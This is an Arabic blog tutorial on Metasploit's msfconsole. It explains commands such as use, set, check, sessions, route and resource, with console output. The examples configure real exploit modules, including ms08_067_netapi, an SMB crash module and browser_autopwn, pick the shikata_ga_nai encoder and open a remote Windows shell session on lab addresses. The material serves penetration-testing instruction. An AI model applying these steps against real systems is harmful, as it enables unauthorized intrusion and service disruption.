جميع مواضيع الكاتب Fayez

فايز الخليفي, بكلوريوس تقنية معلومات، متخصص في مجال أمن المعلومات. مبرمج محترفphp، حاصل على العديد من الشهادة الدولية.يمتلك خبرة واسعة في أنظمة التشغيل والحماية بشكل عام
استخدام بيئة العمل Metasploit عن طريق Msfconsole
مقدمة
يتعبر Msfconsole هو الاشهر والاكثر استخدام في MSF. وهو يسمح با الوصل الوهمي الى كافة الخيارات المتوفرة في MSF. وعند استخدامك Msfconsole في البداية سوف تجد صعبوه في التعامل، لكن مع تعلم (syntax)تنفيذ الاومر سوف تقدر قوة هذة الواجهه.
فوائد msfconsole :
يدعم طريق الوصول الى معظم الخصائص المتوفرة في MSF.
يعتبر اكثر والواجهات استقراراً في الاستخدام.
يدعم التكملة التلقائية لتنفيذ الاوامر.
أمكانية تنفيذ يعض الاوامر الاضافية مثل (ping… وغيرها).
تشغيل (msfconsole):
بمكانك تشغيل msfconsole بكل سهوله بختيارة من القائمه في الباك تراك او بتنفيذ الامر في shell “./msfconsole” وبامكانك تمرير متغير “-h” لمشاهدة متغيرات خيارات الاستخدام.
المساعدة help:
قم بادخال الامر “help ” او “؟” وسوف تقوم بعرض العديد من الاوامر با الاضافة الى وصف لما تستخدم هذه الاوامر.
التكملة التلقائية :
صمم msfconsole ليكون سريع في الاستخدام واحد الخصائص التي تساعد في هذا الغرض هي التكلمة التلقائية(tab completion). مع وجود العديد من موديلز(modules)، يصعب عليك تذكراسم او مسار المديول(module) الذي تريد استخدامه.
وكما هو العادة في العديد من shells تقوم با الضغط على “tab” والذي سوف يقوم بعرض العديد من الخيارات او سوف يكمل تلقائياً اذا كان خيار واحد فقط .
use exploit/windows/dce
use .*netapi.*
set LHOST
set TARGET
set PAYLOAD windows/shell/
exp
show
أمر العودة الى الخلف (back):
عندما تنتهي من العمل مع موديل (module) معين او انك قد اخترت موديل(module) بالخطاء، في هذه الحالة تريد العودية الى الحالة السابقة لك، قم بادخال الامر “back” لكي تعودي الى ماقبل اختيارك.
msf auxiliary(ms09_001_write) > back
msf >
أمر الفحص (check) :
يقوم بفحص نظام الهدف هل هو مصاب با الاستغلال ام لا، قبل تنفيذ الاستغلال. وهذا الامر لايدعم العديد من الاستغلالات.
msf exploit(ms04_045_wins) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.114 yes The target address
RPORT 42 yes The target port
Exploit target:
Id Name
-- ----
0 Windows 2000 English
msf exploit(ms04_045_wins) > check
[-] Check failed: The connection was refused by the remote host
(192.168.1.114:42)
أمر الاتصال (connect):
هذا الامر يقوم بعمل شبية بعمل netcat وهو مبني ضمن msfconsole ويدعم SSL، proxies ،pivoting و ارسال الملفات. بتنفيذ الامر “connect” مع ايبي ادرس (IP Address ) و منفذ(Port)، وبمكانك الاتصال با الجهاز البعيد من خلال msfconsole مثل ماهو netcat او telnet.
msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
DD-WRT login:
وبتمرير المتغير “-s” في الاتصال سوف يكون الاتصال عبر SSL.
msf > connect -s www.metasploit.com 443
[*] Connected to www.metasploit.com:443
GET / HTTP/1.0
HTTP/1.1 302 Found
Date: Sat, 25 Jul 2009 05:03:42 GMT
Server: Apache/2.2.11
Location: http://www.metasploit.org/
أمر ((exploit مقابل (run) :
عندما يتم تنفيذ اي إستغلال يكون بتنفيذ امر “exploit”، بينما عندما تستخدم auxiliary module يكون الانسب بتنفيذها من خلال الامر “run”. وايضا يمكنك استخدام امر “exploit”.
msf auxiliary(ms09_001_write) > run
Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
...بقية النتائج...
أمر (irb) :
بتنفيذ هذا الامر تقوم با الدخول على سكربت لغة الروبي وتستطيع تنفيذ اوامر الروبي مباشرة من msfconsole، وهذه الميزة مفيدة جداً حيث تساعدك على فهم Framework.
msf > irb
[*] Starting IRB shell...
>> puts "Hello, Fayez!"
Hello, Fayez!
>> Framework::Version
=> "3.7.0-release"
أمر (jobs) :
يقوم بعرض وإدارة المديول(modules) التي تشتغل في الخلفية(Background). وبتنفيذ امر “jobs” يكون بمكانك عرض وإنها
هذه الاعمل(jobs).
msf exploit(ms08_067_netapi) > jobs -h
Usage: jobs [options]
Active job manipulation and interaction.
OPTIONS:
.-K Terminate all running jobs
. -h Help banner
-i Lists detailed information about a running job.
-k Terminate the specified job name.
-l List all running jobs.
-v Print more detailed info. Use with -i and –l.
أمر (load/unload):
بتنفيذ أمر لود “load” متبوع بـاسم إضافة(plugin) من الاضافات التي تكون متواجدة ضمن مجلد (plugin) في metasploit. وتمرر المتغيرات با الشكل التالي ” key=val” داخل وامر الشل.
msf > load
Usage: load [var=val var=val ...]
Load a plugin from the supplied path. The optional
var=val options are custom parameters that can be
passed to plugins.
msf >; load pcap_log
[*] Successfully loaded plugin: pcap_log
بلمقابل، امر “unload” يقوم بازالة ماتم تحميلة في الامر السابق.
msf >; unload pcap_log
Unloading plugin pcap_log...unloaded.
أمر (loadpath) :
أذا كان لديك بعض payloads، encoders او استغلال لثغرة يوم الصفر بمكانك تحديد المسار للمديول(module) الخاص بك. حيث ان هذا الامر يستخدم لإضافة مسار لموديلز(modules) طرف ثالث.
msf >; loadpath /home/secret/modules
Loaded 0 modules.
أمر (resource) :
بعض انواع الهجوم مثل Karmetasploit تستخدم لتنفيذ عدد من الاوامر المرتبة بشكل متسلسل داخل ملف دفعي(batch file) يتم تنفيذه من خلال msfconsole بتنفيذ امر “resource” متبوع باسم الملف.
msf > resource karma.rc
resource> load db_sqlite3
[-]
[-] The functionality previously provided by this plugin has been
[-] integrated into the core command set. Use the new 'db_driver'
[-] command to use a database driver other than sqlite3 (which
[-] is now the default). All of the old commands are the same.
[-]
[-] Failed to load plugin from
/pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin
resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
…باقي النتائج…
وهذه الملفات الدفعية(batch files) تساعد في تسريع الاختبار(testing) والتطوير(development) ، با الاضافة الى انه يسمح للمستخدم بتنفيذ العديد من المهام بشكل اتوماتيكي او اّلي، وباستطاعتك تنفيذ الملف في عملية بداء التشغيل msfconsole بتمرير متغير ‘-r’. وفي المثالي التالي سوف نقوم بنشاء ملف يظهر اصدار metasploit في بداء التشغيل
أمر (route) :
يسمح هذا الامر بإعادة توجية السوكيت(sockets) من خلال session او comm. ولكي يضيف امر إعادة التوجية تقوم بتمرير السب نت (subnet) وقناع الشبكة (network mask) متبوع برقم session او comm. لاحظ المثال التالي.
msf exploit(ms08_067_netapi) > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local.
msf exploit(ms08_067_netapi) > route add 192.168.1.0 255.255.255.0 3
msf exploit(ms08_067_netapi) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
192.168.1.0 255.255.255.0 Session 3
أمر (info) :
سوف يقوم بتزويدك بمعلومات تفصيلية عن موديل(module) معين ويقوم بعرض كافة الخيارات و الاهداف المصابة ومعلومات اخرئ.
و امر ‘info’ سوف يقوم بتزويدك با المعلومات التالية :
معلومات عن الكاتب و الرخصة.
مراجع الثغرة مثل (CVE,BID.. الخ).
اي من payload التي تشتغل فقط مع هذا Module.
msf > info dos/windows/smb/ms09_001_write
Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset
Version: 6890
License: Metasploit Framework License (BSD)
Provided by:
j.v.vallejo
أمر (set/unset) :
يسمح للمستخدم بضبط إعدادات وخيارات بيئة العمل و المتغيرات للمويل(module) الذي تعمل علية.
msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1 yes The target address
RPORT 445 yes Set the SMB service port
في الايام الاخير تم اضافة ميزة جديدة في بيئة عمل metasploit و هي أستخدام مشفرات(encoders) وقت التشغيل (run time) وهذه تكون مفيدة في تطوير الاستغلال عندما لا تكون متاكد اي نوع من الباي لود(payloads) سوف يشتغل مع الاستغلال.
msf exploit(ms08_067_netapi) > show encoders
Compatible encoders
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai
encoder => x86/shikata_ga_nai
أمر (unset) :
وهذا الامر هو عكس امر ‘set’.ويقوم بأزإلة المتغيرات التي قادم بضبطها وإضافتها أمر ‘set’، ويمكنك إزالة جميع المتغيرات مره واحده بأمر ‘unset all’.
msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > set THREADS 50
THREADS => 50
msf > set
Global
======
Name Value
---- -----
RHOSTS 192.168.1.0/24
THREADS 50
msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > set Global
======
No entries in data store.
أمر (sessions) :
هذا الامر يقوم بعرض و التفاعل او انهئ او تنقل بين الجلسات التي تكون فعالة وهذه الجلسات تكون عبارة عن شل(shell)، ميتربريتر(Meterpreter sessions) او VNC … الخ.
msf > sessions -h
Usage: sessions [options]
Active session manipulation and interaction.
OPTIONS:
-K Terminate all sessions
-c Run a command on the session given with -i, or all
--d Detach an interactive session
-h Help banner
-i Interact with the supplied session ID
--k Terminate session
--l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s Run a script on the session given with -i, or all
-u Upgrade a win32 shell to a meterpreter session
-v List verbose fields
ولكي تقوم بعرض الجلسات(sessions) النشطة، مرر حرف ‘-l’ الى امر ‘sessions’.
msf exploit(ms08_067_netapi) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.1.20:33191 ->; 192.168.1.22:4444
عندما تريد التعامل مع أحد الجلسات النشطة، فعليك تمرير المتغير ‘-i’ متبوع برقم الجلسة ‘session id’ لاحظ المثال التالي:
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32
أمر (search) :
يقوم هذا الامر ببحث شامل داخل الموديلز(modules) وبادخال جز من اسم الموديل او الاسم كامل فيقوم بعرض بيانات الموديل من الاسم، وصف عن الموديل … الخ.
msf > search ms08_067_netapi
[*] Searching loaded modules for pattern 'ms08_067_netapi'...
Exploits
========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
windows/smb/ms08_067_netapi 2008-10-28 great Microsoft Server Service Relative Path Stack Corruption
أمر (show) :
بأدخال أمر ‘show’ في ‘msfconsole’ سوف يعرض لك كافة الموديلز ‘modules’ داخل MSF .
msf > show
encoders
========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
...ألخ..
وأيضاً بمكانك عرض كل موديلز على حدة مثل ‘show auxiliary’، ‘show exploits’، ‘show payloads’،
‘show encoders’ او ‘show nops’. سوف اتركك عزيزي القراء لكي تقوم بتجربة هذه الاوامر.
سوف نقوم بستخدام معين لامر ‘show’ عندما تقوم باختيار ثغرة معينة ولناخذ على سبيل المثال ‘ms08_067_netapi’
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
في الامر السابق لقد قمنا باختيار ثغرة ‘ms08_067_netapi’. وفي الامر التالي سوف نقوم بعرض فقط الباي لودز ‘payloads’ التي تتوافق فقط مع الثغرة، ولنفرض ان الثغرة تستهدف فقط انظمة ويندوز، سوف يعرض فقط الباي لودز المتعلقة با الوندوز ولن يعرض الباي لودز الخاصه بنظام لنيكس.
msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
----------- ---- --------------- -----------
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
generic/tight_loop normal Generic x86 Tight Loop
windows/adduser
…الخ…
والان نريد ان نعرض الخيارات المتطلبة لتنفيذ هذه الثغرة مثل ايبي الهدف و البورت وغيرها لاحظ المثال التالي :
msf exploit(ms08_067_netapi)> show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER,SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
وإذا لم تكن متاكد اي إصدار من نظام التشغيل مصاب بهذه الثغرة قم بتنفيذ الامر التالي :
msf exploit(ms08_067_netapi)> show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
…الخ…
وإذا كنت تريد مشاهدة خيارات متقدمة فماعليك الا تنفيذ الامر التالي :
msf exploit(ms08_067_netapi)> show advanced
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
أمر (setg) :
إذا كنت تريد ان تحفظ الكثير من الوقت عند عملك اختبار اختراق لنظام معين با إستطاعتك تحديد بعض
‘global variables’ في ‘msfconsole’. وذلك بأستخدام أمر ‘setg’ وعندما يتم تحديد المتغير بستطاعتك
إستخدامة في العديد من (exploits and auxiliary modules) وأيضا تستطع حفظهم لكي تقوم باستخدامهم في المره القادمة، ويجب عليك التاكد دئماً من جميع الخيارات قبل تفيذك أمر ‘run’ او ‘exploit’. وبالمقابل يمكنك إزلة هذه المتغيرات بستخدامك أمر ‘unsetg’ لاحظ المثالي التالي:
msf > setg LHOST 192.168.1.20
LHOST => 192.168.1.20
msf > setg RHOST 192.168.1.22
RHOST => 192.168.1.22
وبعد تحديد بعض المتغيرات مثل عنوان الايبي المحلي و عنوان الايبي البعيد او الهدف يمكننا حفظ هذه التغيرات بامر ‘save’. وفي المره القادمة عند تشغيل ‘msfconsole’ سوف تكون هذه المتغيرات مضبوطه مثلما حددناها.
msf > save
Saved configuration to: /root/.msf3/config
msf >
أمر (use) :
عندما تريد استخدام موديل ‘module’ لثغرة معينة إستخدم أمر ‘use’ ومن ثم اختر اسم الموديل. ولاحظ ان ‘global variables’ قمنا بضبطها في الامر السابق لكي تشير الى عنوان ايبي الهدف وعنوان الوكال الايبي .
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
RHOST 192.168.1.22 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
0 Automatic Targeting